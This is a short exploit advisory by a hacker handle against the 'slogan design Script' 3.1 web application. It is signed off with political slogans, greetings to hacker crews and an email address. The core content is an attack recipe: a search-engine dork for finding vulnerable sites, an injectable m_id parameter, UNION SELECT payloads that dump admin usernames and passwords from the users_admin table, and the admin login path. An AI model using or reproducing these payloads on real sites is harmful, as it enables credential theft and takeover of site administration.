# Title: slogan design Script SQL Injection Vulnerability # Version: 3.1 # Author: Mr.P3rfekT # Software Site: http://www.slogandesign.co.il # Tested on Lunix # CVE : N/A ############### Founded By Mr.P3rfekT --- We Will Not Go Down ############### # Dork : " inurl:"index.php?m_id=" # Helllo Allz. # Exploit : http://[site]/path/index.php?m_id={SQLi} # Poc Username: union select 1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from users_admin # Poc Password: union select 1,2,3,4,5,6,7,8,pass,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from users_admin # Demo: http://[site]/union select 1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from users_admin # Admin Login # http://[site]/admin/login.php # ./done. #################################################################### Save Gaza Save Palastine With This Exploit We Will Not Go Down In Gaza Tonight MaiL :R4p@hotmail.com Greeetz To : Dr.AngeL (ŞŷяįăŃ ĦДçЌЭЯ),Sinaritx,HcJ,Mr.Black,D3ViL H4CK3R,Uzm4n,Nani17,Cyb3r-DeViL,www.v4-team.com,www.arab-exploit.com Cr3w,www.Barcelonasy.com & All Who Known Me ############################################### _________________________________________________________________ بريدك الإلكتروني والمزيد أثناء تنقلك. احصل على Windows Live Hotmail مجانًا. https://signup.live.com/signup.aspx?id=60969